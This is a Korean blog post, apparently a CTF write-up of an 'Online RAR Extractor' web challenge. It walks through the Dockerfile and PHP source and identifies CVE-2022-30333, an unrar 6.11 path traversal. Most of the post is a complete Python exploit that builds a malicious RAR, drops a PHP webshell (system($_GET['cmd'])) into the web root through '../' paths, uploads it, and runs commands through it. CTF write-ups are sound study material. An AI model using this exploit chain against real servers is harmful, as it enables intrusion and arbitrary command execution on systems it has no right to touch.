webhacking

Online RAR Extractor

lizparadox_ 2026. 4. 17. 17:22

2023년도에 KITRI-CSA Exchange Programme 대회에서 풀었던 문제다.

오랜만에 복기 겸 작성해봅니다.

 

 

당시 찍었던 유튜브 영상도 있네요.
https://youtu.be/IKwvTItKhzE?si=V2VkBRbxrBN0y1s

 

이때 Dreamhack에서 CTF를 참가했는데, 현재 따로 올라와있는 문제가 없다고 합니다.

로컬에 코드가 남아있어서, 로컬에서 docker를 구동하여 작성합니다.

 

 

 

문제를 들어가보면, Online RAR Extractor 이라고 적혀져 있는것으로 봐서 

RAR 압축 파일을 압축 해제해주는 웹 페이지라고 추측이 가능합니다.

 

문제 파일을 보면, /deploy/src/bin/rar 경로에 rar.txt가 있습니다.

 

유저 매뉴얼이 있습니다.

문제에서 사용되는 버전은 6.11 버전임을 확인할 수 있습니다.

 

Dockerfile을 확인해보면 

 

FROM php:7.1-apache

RUN sed -i 's/deb.debian.org/archive.debian.org/g' /etc/apt/sources.list && \
    sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list

RUN apt-get update
RUN apt-get upgrade -y

COPY ./deploy/src /var/www/html/
RUN chmod -R 755 /var/www/html/ && chmod 777 /var/www/html/upload/
COPY ./deploy/run-lamp.sh /usr/sbin/

RUN chmod +x /usr/sbin/run-lamp.sh

# FLAG
COPY deploy/flag.c /flag.c
RUN apt install -y gcc \
    && gcc /flag.c -o /flag \
    && chmod 111 /flag && rm /flag.c

EXPOSE 80

CMD ["/usr/sbin/run-lamp.sh"]

 

dockerfile에서 flag.c를 gcc로 컴파일해서 /flag를 생성하는것을 확인할 수 있습니다.

 

=> RCE와 같은 공격을 수행하여 /flag를 실행시켜야 한다는것을 파악할 수 있습니다.

 

그러면 RAR 압축 해제 과정에서 Path Traversal과 같은 공격을 수행해야 한다는 플로우가 그려지는데, 해당하는 cve를 찾아볼 수 있습니다. 

 

우리는 이미 사용될 RAR의 버전을 알고 있기 때문에 해당 검색어로 구글링을 진행합니다.

 

RAR "6.11" Path Traversal CVE

 

 

제일 상단에 있는 CVE 코드에 대해 검색해 봅시다.

 

 

제대로 찾은게 맞는것 같습니다.

 

Unix 및 Linux 환경에서 6.12 이하 버전에서 "압축 해제 작업 중 디렉터리 탐색을 통해 파일에 쓰기 작업을 허용합니다" 라고 나와있는것을 확인할 수 있습니다.

 

실제로 문제 코드에서 해당 가설으로 익스플로잇이 가능할지 검증을 수행해보겠습니다.

 

<?php

define("UNRAR", "./bin/rar/unrar");

function tempdir() {
    $tempfile=tempnam(sys_get_temp_dir(),'');
    if (file_exists($tempfile)) { unlink($tempfile); }
    mkdir($tempfile);
    if (is_dir($tempfile)) { return $tempfile; }
}

function random_filename(){
    return sha1(rand()*rand()*rand()); // To-do
}

function RARextract($src, $dest){
    if(file_exists(UNRAR)){
      return shell_exec(UNRAR . " e -y " . escapeshellarg($src) . " " . escapeshellarg($dest));
    }else{
      die("ERROR !");
    }
}

function dirToArray($dir) {
   $result = array();
   $cdir = scandir($dir);
   foreach ($cdir as $key => $value){
      if (!in_array($value,array(".",".."))){
         if (is_dir($dir . DIRECTORY_SEPARATOR . $value)){
            $result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value);
         }else{
            $result[] = $value;
         }
      }
   }
   return $result;
}

  $filetype = mime_content_type($_FILES["file"]["tmp_name"]);
  if($filetype != 'application/x-rar') die('Invalid RAR File.');

  $backup = "./upload/".random_filename().".rar";
  copy($_FILES["file"]["tmp_name"], $backup); // backup 

  $tmpdir = tempdir();
  $out = RARextract($_FILES["file"]["tmp_name"], $tmpdir);
  $scanout = dirToArray($tmpdir);
  // To-do: Download extract file.
?>

 

 

일단 ./bin/rar/unrar 경로에서 6.11 버전의 RAR을 사용하는것을 알 수 있고,

 

RARextract라는 함수에서 shell_exec 명령어를 사용하여 

 

./bin/rar/unrar e -y '<src>' '<dest>'

 

이런 명령어가 실행이 됩니다.

 

escapeshellarg 로 shell argument에 대한 문자열 Escape를 진행하는것을 확인할 수 있습니다.

기본적인 Escaping은 진행하기 때문에 import한 외부 unrar이 처리될때 공격하는 플로우를 생각할 수 있고,

CVE-2022-30333 취약점의 개요인 "압축 해제 작업 중 일어나는 공격" 이라는 포인트를 확인할 수 있습니다.

 

압축 해제 시 상위 디렉토리로 경로를 조작하면 apache 의 웹루트 /var/www/html 에 웹쉘을 올릴 수 있을것 같습니다.

 

exploit을 진행해 보겠습니다.

https://github.com/rbowes-r7/unrar-cve-2022-30333-poc

 

GitHub - rbowes-r7/unrar-cve-2022-30333-poc

Contribute to rbowes-r7/unrar-cve-2022-30333-poc development by creating an account on GitHub.

github.com

해당 github에서 exploit code를 찾을 수 있고,

 

웹쉘을 업로드 하고, 해당 경로로 웹쉘을 실행시키는 최종 PoC 코드는 다음과 같습니다.

 

import sys
import subprocess
import requests
import tempfile
import os

SHELL_PHP = """<?php
echo system($_GET["cmd"]);
?>
"""

def create_rar_with_ruby(target_path, ruby_script_path):
    print(f"[*] Creating temporary payload file...")

    with tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False) as f:
        f.write(SHELL_PHP)
        temp_shell = f.name

    try:
        print(f"[*] Running Ruby exploit generator...")
        print(f"    Target path: {target_path}")

        result = subprocess.run(
            ['ruby', ruby_script_path, target_path, temp_shell],
            capture_output=True,
            timeout=10
        )

        if result.returncode != 0:
            print(f"[-] Ruby script error: {result.stderr.decode()}")
            return None

        return result.stdout

    except subprocess.TimeoutExpired:
        print("[-] Ruby script timeout")
        return None
    except Exception as e:
        print(f"[-] Error: {e}")
        return None
    finally:
        os.unlink(temp_shell)

def upload_exploit(url, rar_data):
    print(f"[*] Uploading malicious RAR to {url}")

    files = {'file': ('exploit.rar', rar_data, 'application/x-rar')}
    try:
        response = requests.post(url, files=files, timeout=10)

        if response.status_code == 200:
            print("[+] Upload successful!")
            return True
        else:
            print(f"[-] Upload failed: HTTP {response.status_code}")
            return False
    except Exception as e:
        print(f"[-] Upload error: {e}")
        return False

def get_flag(base_url, cmd='/flag'):
    webshell_url = f"{base_url}/upload/webshell.php"

    print(f"[*] Executing command: {cmd}")
    try:
        response = requests.get(webshell_url, params={'cmd': cmd}, timeout=5)
        output = response.text.strip()

        if output:
            print(f"[+] Output received:")
            print(f"\n{'='*60}")
            print(output)
            print(f"{'='*60}\n")
            return output
        else:
            print("[-] No output from webshell")
            return None
    except Exception as e:
        print(f"[-] Error: {e}")
        return None

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py <target_url> [ruby_script_path]")
        print("")
        print("Examples:")
        print("  python3 exploit.py http://localhost:9999")
        print("  python3 exploit.py http://localhost:9999 ../unrar-cve-2022-30333-poc/cve-2022-30333.rb")
        sys.exit(1)

    target_url = sys.argv[1].rstrip('/')

    # Ruby 스크립트 자동 경로 찾기
    candidates = [
        '../unrar-cve-2022-30333-poc/cve-2022-30333.rb',
        '../../unrar-cve-2022-30333-poc/cve-2022-30333.rb',
        os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'unrar-cve-2022-30333-poc', 'cve-2022-30333.rb'),
    ]

    ruby_script = None
    for path in candidates:
        if os.path.exists(path):
            ruby_script = os.path.abspath(path)
            break

    if not ruby_script:
        print(f"[-] Ruby script not found!")
        sys.exit(1)

    rar_data = create_rar_with_ruby('../../../var/www/html/upload/webshell.php', ruby_script)

    if not rar_data:
        print("[-] Failed to generate RAR")
        sys.exit(1)

    print(f"[+] RAR generated ({len(rar_data)} bytes)")

    extract_url = f"{target_url}/extract.php"
    if not upload_exploit(extract_url, rar_data):
        sys.exit(1)

    print("[*] Waiting for webshell deployment...")
    import time
    time.sleep(1)

    flag = get_flag(target_url)

    if flag:
        print("[+] Exploit successful!")
        sys.exit(0)
    else:
        print("[-] Failed to retrieve flag")
        sys.exit(1)

if __name__ == '__main__':
    main()

 

 

 

 

 

이상입니다.